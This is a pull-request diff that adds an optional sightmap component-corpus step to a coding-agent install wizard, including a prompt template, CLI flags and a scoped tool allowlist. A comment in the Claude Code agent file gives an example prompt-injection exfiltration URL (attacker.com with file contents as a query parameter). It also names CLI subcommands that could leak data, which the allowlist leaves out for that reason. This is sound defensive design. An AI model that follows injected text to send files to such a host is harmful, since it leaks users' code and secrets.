Add optional sightmap corpus setup to the install flow

.changeset/sightmap-setup.md

@@ -0,0 +1,5 @@
+---
+"@subtextdev/subtext-wizard": minor
+---
+
+Offer to build a sightmap component corpus after the install. When setup finishes, the wizard can install the `@sightmap/sightmap` CLI and have your coding agent seed a `.sightmap/` corpus from the codebase — so future Subtext session reviews name your UI components instead of showing raw selectors. Optionally deepens coverage against a running dev server. Offered interactively by default; opt in for unattended runs with `--sightmap`.

README.md

@@ -32,6 +32,7 @@ npx @subtextdev/subtext-wizard
 3. **Asks about your stack** — pick the analytics and product tools you use (PostHog, Amplitude, Mixpanel, Sentry, Segment, and more) so setup can link them up.
 4. **Finds your coding agent** — detects Claude Code, Codex, Gemini CLI, Cursor, Windsurf, VS Code, Zed, or Claude Desktop.
 5. **Hands the install to your own agent** — no bundled agent; it drives the one you already use to wire up the capture snippet, MCP server, skills, and commands.
+6. **Offers to build a sightmap** — optionally installs the [`@sightmap/sightmap`](https://docs.sightmap.org/start/quickstart) CLI and has your agent seed a `.sightmap/` component corpus, so later session reviews name your UI ("add-to-cart button") instead of showing raw selectors.
 
 When it finishes, your agent is connected to your sessions. See the [Subtext repo](https://github.com/fullstorydev/subtext) for what it can do from there.
 
@@ -48,6 +49,9 @@ When it finishes, your agent is connected to your sessions. See the [Subtext rep
 --agent <id>            Skip the agent picker (claude-code, codex, gemini, cursor,
                         windsurf, vscode, zed, claude-desktop, manual)
 --integrations <list>   Comma-separated tools to target, skips the picker
+--sightmap              Also build a .sightmap/ component corpus so reviews name
+                        your UI. Offered interactively by default; this flag opts
+                        in for unattended --yes runs.
 --print-prompt          Print the install prompt instead of launching an agent
 --no-telemetry          Opt out of telemetry. Anonymous install telemetry (step
                         progress, outcomes, timings, and agent token usage;

src/agents/claude-code.ts

@@ -8,15 +8,22 @@ import { extractTelemetryMarkers } from './telemetry-marker.js';
 import type { AgentDefinition, LaunchContext, LaunchResult } from './types.js';
 
 /**
- * Tools the headless run is pre-authorized to use beyond edits: docs fetching
- * and dependency installs. Telemetry needs no tool here — the agent just prints
- * markers to stdout that the wizard parses. Everything else falls back to
- * Claude Code's own permission rules.
+ * Tools the headless run is pre-authorized to use beyond edits: docs fetching,
+ * dependency installs, and the sightmap CLI's authoring subcommands. Telemetry
+ * needs no tool here — the agent just prints markers to stdout that the wizard
+ * parses. Everything else falls back to Claude Code's own permission rules.
  *
  * WebFetch is scoped to the two Subtext/Fullstory doc domains the install
  * actually needs. Leaving it unscoped would make it an exfiltration channel
  * under prompt injection (fetch `https://attacker.com/?data=<file contents>`);
  * the domain scope closes that.
+ *
+ * The sightmap entries are scoped the same way: only the subcommands the
+ * sightmap-authoring prompt (see prompt/sightmap.ts) actually tells the agent
+ * to run. `sightmap` also has a `push` command that POSTs a corpus to an
+ * arbitrary URL and a `browser eval` that runs arbitrary JS in the page — an
+ * unscoped `Bash(sightmap:*)` would hand a prompt injection an exfiltration
+ * path the same way an unscoped WebFetch would, so those are left out.
  */
 const ALLOWED_TOOLS = [
   'WebFetch(domain:subtext.fullstory.com)',
@@ -25,6 +32,13 @@ const ALLOWED_TOOLS = [
   'Bash(pnpm add:*)',
   'Bash(yarn add:*)',
   'Bash(bun add:*)',
+  'Bash(sightmap version:*)',
+  'Bash(sightmap --help:*)',
+  'Bash(sightmap validate:*)',
+  'Bash(sightmap lint:*)',
+  'Bash(sightmap browser start:*)',
+  'Bash(sightmap snapshot:*)',
+  'Bash(sightmap sel-probe:*)',
 ];
 
 async function findClaudeBinary(): Promise<string | null> {
@@ -128,7 +142,7 @@ export const claudeCode: AgentDefinition = {
   name: 'Claude Code',
   kind: 'terminal',
   autonomy:
-    'auto-accepting file edits and running a limited set of commands (dependency installs and Subtext doc fetches)',
+    'auto-accepting file edits and running a limited set of commands (dependency installs, Subtext doc fetches, and sightmap CLI commands)',
   async detect() {
     const binaryPath = await findClaudeBinary();
     if (!binaryPath) return null;

src/bin.ts

@@ -35,6 +35,16 @@ Options:
                           userpilot, sprig, segment — unknown names become "Other")
   --print-prompt          Print each install prompt to stdout as it's built, then
                           continue the normal flow (testing aid)
+  --stub-agent            Skip launching the coding agent for each install/
+                          enrich/sightmap prompt (logs "prompt ran!" instead of
+                          printing it), but leave every other real side effect
+                          alone — notably the sightmap CLI install. Unlike
+                          --mock, auth/snippet/telemetry stay real; unlike
+                          --print-prompt, the prompt itself is never printed.
+                          (testing aid)
+  --sightmap              Also build a .sightmap/ component corpus so session
+                          reviews name your UI. Offered interactively by default;
+                          this flag opts in for unattended --yes runs.
   --yes                   Skip the pre-launch confirmation (for CI/non-interactive
                           use). The agent runs autonomously against --dir with
                           edits — and, depending on the agent, command execution —
@@ -65,6 +75,8 @@ function main(): void {
         agent: { type: 'string' },
         integrations: { type: 'string' },
         'print-prompt': { type: 'boolean', default: false },
+        'stub-agent': { type: 'boolean', default: false },
+        sightmap: { type: 'boolean', default: false },
         yes: { type: 'boolean', default: false },
         mock: { type: 'boolean', default: false },
         'no-telemetry': { type: 'boolean', default: false },
@@ -119,6 +131,8 @@ function main(): void {
       .map((s) => s.trim())
       .filter(Boolean),
     printPrompt: values['print-prompt'] ?? false,
+    stubAgent: values['stub-agent'] ?? false,
+    sightmap: values.sightmap ?? false,
     yes: values.yes ?? false,
     mock,
     // Telemetry is on by default; both the explicit --no-telemetry flag and the

src/config.ts

@@ -241,7 +241,16 @@ export interface WizardOptions {
   integrations?: string[];
   /** Build and print the prompt instead of launching an agent. */
   printPrompt: boolean;
+  /** Skip launching the coding agent (logs "prompt ran!" instead of the
+   * prompt), while leaving every other real side effect alone — notably the
+   * sightmap CLI install. Unlike --mock, auth/snippet/telemetry stay real;
+   * unlike --print-prompt, the prompt itself is never printed. For quickly
+   * exercising the wizard's own flow without a full autonomous agent run. */
+  stubAgent: boolean;
   /** Skip the pre-launch confirmation (non-interactive/CI use). */
   yes: boolean;
+  /** Opt into building a sightmap corpus under --yes. Interactive runs are
+   * always offered it; this only matters for unattended CI runs. */
+  sightmap: boolean;
   debug: boolean;
 }

src/prompt/sightmap.ts

@@ -0,0 +1,54 @@
+import fs from 'node:fs';
+import { packageRootPath } from '../paths.js';
+import type { PromptMode } from './build.js';
+
+export interface BuildSightmapPromptInput {
+  mode: PromptMode;
+  /** Dev-server URL for the live-coverage pass, or undefined to seed from code only. */
+  appUrl?: string;
+}
+
+const HEADLESS_MODE_SECTION = `## Mode: autonomous (headless)
+
+You are running non-interactively inside the Subtext setup CLI. The user cannot answer questions mid-run. Apply your best judgment, keep the corpus small and accurate rather than exhaustive, and record what you built (plus anything you'd have asked) in \`./sightmap-setup-report.md\`. Never block waiting for input.`;
+
+const INTERACTIVE_MODE_SECTION = `## Mode: interactive
+
+Work through the steps with the user in this conversation. Show them the components you intend to define before writing large batches, and let them steer which surfaces matter most.`;
+
+/** The live-coverage pass only appears when the user gave us a dev-server URL. */
+function liveSection(appUrl: string): string {
+  return `## Step 4: Deepen coverage against the running app
+
+A dev server is running at ${appUrl}. Use it to find components you couldn't see from the code alone.
+
+1. Start a browser session: \`sightmap browser start --url '${appUrl}'\`.
+2. For each meaningful route, take a coverage snapshot — \`sightmap snapshot --coverage --url '<route-url>'\` — and read which on-screen elements have no component mapped yet.
+3. Add sightmap components for the uncovered elements that a person would name, using \`sightmap sel-probe\` to confirm a selector matches before you commit it.
+4. Re-run \`sightmap validate\` and \`sightmap lint\` until clean.
+
+If the \`sightmap-browser\` skill is available, use it to drive this loop.`;
+}
+
+export function buildSightmapPrompt(input: BuildSightmapPromptInput): string {
+  const template = fs.readFileSync(packageRootPath('templates', 'sightmap-prompt.md'), 'utf8');
+  const headless = input.mode === 'headless';
+  const live = Boolean(input.appUrl);
+
+  const replacements: Record<string, string> = {
+    MODE_SECTION: headless ? HEADLESS_MODE_SECTION : INTERACTIVE_MODE_SECTION,
+    LIVE_SECTION: live ? liveSection(input.appUrl!) : '',
+    // The live pass is Step 4, so the report becomes Step 5 when it's present.
+    REPORT_STEP: live ? '5' : '4',
+    REPORT_VERB: headless ? 'Record' : 'Tell the user',
+    REPORT_LOCATION: headless
+      ? 'Put this in `./sightmap-setup-report.md`.'
+      : '',
+  };
+
+  let prompt = template;
+  for (const [key, value] of Object.entries(replacements)) {
+    prompt = prompt.replaceAll(`{{${key}}}`, value);
+  }
+  return prompt.replace(/\n{3,}/g, '\n\n').trim() + '\n';
+}

src/run.ts

@@ -24,6 +24,7 @@ import {
   type PromptTelemetry,
 } from './prompt/build.js';
 import { offerPromptReview } from './promptReview.js';
+import { offerSightmapSetup } from './sightmap.js';
 import { fetchCaptureSnippet } from './snippet.js';
 import { Telemetry } from './telemetry.js';
 
@@ -136,6 +137,15 @@ export async function runWizard(options: WizardOptions): Promise<number> {
       if (options.printPrompt) console.log(`\n===== ${label} =====\n\n${prompt}\n`);
     };
 
+    // --stub-agent is the other testing aid: unlike --print-prompt it never
+    // prints the prompt, it just logs that the step was stubbed. Used instead
+    // of --print-prompt when the prompt text itself isn't what's being tested
+    // (see driveLaunch and the app-run launch below for where this replaces a
+    // real agent invocation).
+    const stubAgentRun = (label: string) => {
+      if (options.stubAgent) p.log.info(pc.dim(`${label}: prompt ran!`));
+    };
+
     // 5. Assemble the phase-1 (snippet) install prompt. Terminal agents get the
     //    autonomous variant (no approval gates); app handoffs keep the
     //    interactive one. Telemetry never hands a credential to the agent's
@@ -253,11 +263,12 @@ export async function runWizard(options: WizardOptions): Promise<number> {
       p.note(
         readableNoteBody(
           [
-            'To get the most out of your captured sessions, three more steps:',
+            'To get the most out of your captured sessions, four more steps:',
             '',
             '  1. Identify users — tie each session to the signed-in person.',
             '  2. Link analytics — add the session URL to the tools you already use.',
             '  3. Mask sensitive data — tag PII so it stays out of capture.',
+            '  4. Build a sightmap: map your UI so reviews name components instead of selectors.',
             '',
             detail,
           ].join('\n'),
@@ -315,6 +326,8 @@ export async function runWizard(options: WizardOptions): Promise<number> {
           yes: options.yes,
           onEvent,
         });
+        // Last item of the enrichment list — offered after the other three.
+        await offerSightmapSetup(MANUAL_CHOICE, options, onEvent);
       }
       p.outro('Run this installer again any time with: npx @subtextdev/subtext-wizard');
       await telemetry.flush();
@@ -339,15 +352,22 @@ export async function runWizard(options: WizardOptions): Promise<number> {
       if (!pluginReady) sendStart(chosen.definition.id);
       // --print-prompt is a dry run: the prompt was already printed above, so
       // don't open the app / hand off — synthesize a clean handoff result.
-      const result: LaunchResult = options.printPrompt
-        ? { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false }
-        : await chosen.definition.launch({
-            prompt: snippetPrompt,
-            cwd: options.dir,
-            binaryPath: chosen.binaryPath,
-            debug: options.debug,
-            onEvent,
-          });
+      // --stub-agent does the same but logs "prompt ran!" instead.
+      let result: LaunchResult;
+      if (options.printPrompt) {
+        result = { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false };
+      } else if (options.stubAgent) {
+        stubAgentRun('STEP 1');
+        result = { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false };
+      } else {
+        result = await chosen.definition.launch({
+          prompt: snippetPrompt,
+          cwd: options.dir,
+          binaryPath: chosen.binaryPath,
+          debug: options.debug,
+          onEvent,
+        });
+      }
       telemetry.note('wizard_completed', {
         agent: chosen.definition.id,
         mode: result.mode,
@@ -359,9 +379,9 @@ export async function runWizard(options: WizardOptions): Promise<number> {
         installPending: true,
         clipboardHoldsInstallPrompt: result.clipboardHoldsPrompt,
         yes: options.yes,
-        // Suppressed under --print-prompt so the demo's "Open agent?" offer
-        // can't launch the app during a dry run.
-        openTarget: options.printPrompt ? undefined : openTarget,
+        // Suppressed under --print-prompt/--stub-agent so the demo's "Open
+        // agent?" offer can't launch the app during a dry run.
+        openTarget: options.printPrompt || options.stubAgent ? undefined : openTarget,
         onEvent,
       });
       if (
@@ -380,9 +400,11 @@ export async function runWizard(options: WizardOptions): Promise<number> {
           agentName: chosen.definition.name,
           clipboardBusy: result.clipboardHoldsPrompt,
           yes: options.yes,
-          openTarget: options.printPrompt ? undefined : openTarget,
+          openTarget: options.printPrompt || options.stubAgent ? undefined : openTarget,
           onEvent,
         });
+        // Last item of the enrichment list — offered after the other three.
+        await offerSightmapSetup(chosen, options, onEvent);
       }
       p.outro('Finish the install in your agent — it will guide you from here.');
       await telemetry.flush();
@@ -404,12 +426,19 @@ export async function runWizard(options: WizardOptions): Promise<number> {
     // share, and the funnel would lose them.
     const driveLaunch = async (
       launchPrompt: string,
+      label: string,
     ): Promise<{ result: LaunchResult; installSucceeded: boolean }> => {
       if (options.printPrompt) {
         // --print-prompt is a dry run: the prompt was already printed above, so
         // skip actually spawning the agent and report a clean no-op so the rest
         // of the flow (demo guide, phase-2 prompt) still runs.
-        p.log.info(pc.dim('--print-prompt — skipping the agent run.'));
+        p.log.info(pc.dim('--print-prompt: skipping the agent run.'));
+        return { result: { mode: 'ran', exitCode: 0 }, installSucceeded: true };
+      }
+      if (options.stubAgent) {
+        // --stub-agent skips the same real launch, but without ever printing
+        // the prompt — just a short confirmation that this step was stubbed.
+        stubAgentRun(label);
         return { result: { mode: 'ran', exitCode: 0 }, installSucceeded: true };
       }
       const sentMarkerSteps = new Set<string>();
@@ -435,7 +464,7 @@ export async function runWizard(options: WizardOptions): Promise<number> {
     };
 
     // Phase 1 — install the snippet.
-    const { result, installSucceeded } = await driveLaunch(snippetPrompt);
+    const { result, installSucceeded } = await driveLaunch(snippetPrompt, 'STEP 1');
     telemetry.note('wizard_completed', {
       agent: chosen.definition.id,
       mode: result.mode,
@@ -466,27 +495,30 @@ export async function runWizard(options: WizardOptions): Promise<number> {
     // one exists, raw MCP entry otherwise) so the agent can review sessions,
     // then show the first-ASR guide. Consent was captured pre-handoff
     // (reviewToolsConsent) so this runs without a fresh prompt. Skipped under
-    // --print-prompt: the packaged-plugin path spawns the agent CLI, and a dry
-    // run must not launch the agent.
-    if (!options.printPrompt) {
+    // --print-prompt/--stub-agent: the packaged-plugin path spawns the agent
+    // CLI, and a dry run must not launch the agent.
+    if (!options.printPrompt && !options.stubAgent) {
       await offerPluginSetup(chosen, auth.region, options, onEvent, reviewToolsConsent);
+    } else if (options.stubAgent) {
+      stubAgentRun('plugin setup');
     }
     await showDemoGuide({
       agentName: chosen.definition.name,
       // Exit 0 without the agent's install marker means the install may have
       // been refused or abandoned — frame the guide as post-install work.
       installPending: !installConfirmed,
       yes: options.yes,
-      // Suppressed under --print-prompt so the demo's "Open agent?" offer can't
-      // spawn the agent during a dry run.
-      openTarget: options.printPrompt
-        ? undefined
-        : {
-            kind: 'terminal',
-            name: chosen.definition.name,
-            binaryPath: chosen.binaryPath,
-            dir: options.dir,
-          },
+      // Suppressed under --print-prompt/--stub-agent so the demo's "Open
+      // agent?" offer can't spawn the agent during a dry run.
+      openTarget:
+        options.printPrompt || options.stubAgent
+          ? undefined
+          : {
+              kind: 'terminal',
+              name: chosen.definition.name,
+              binaryPath: chosen.binaryPath,
+              dir: options.dir,
+            },
       onEvent,
     });
 
@@ -511,11 +543,13 @@ export async function runWizard(options: WizardOptions): Promise<number> {
           telemetry: promptTelemetry,
         });
         printPromptForTesting('STEP 2: enrichment prompt', enrichPrompt);
-        const { result: enrichResult } = await driveLaunch(enrichPrompt);
+        const { result: enrichResult } = await driveLaunch(enrichPrompt, 'STEP 2');
         telemetry.note('phase2_completed', { exit_code: enrichResult.exitCode ?? null });
         if (enrichResult.exitCode !== 0) {
           telemetry.note('phase2_failed', { exit_code: enrichResult.exitCode ?? null });
         }
+        // Last item of the enrichment list — offered after the other three.
+        await offerSightmapSetup(chosen, options, onEvent);
       }
     } catch (error) {
       // Cancel (the integration multiselect) → user declined phase 2, fall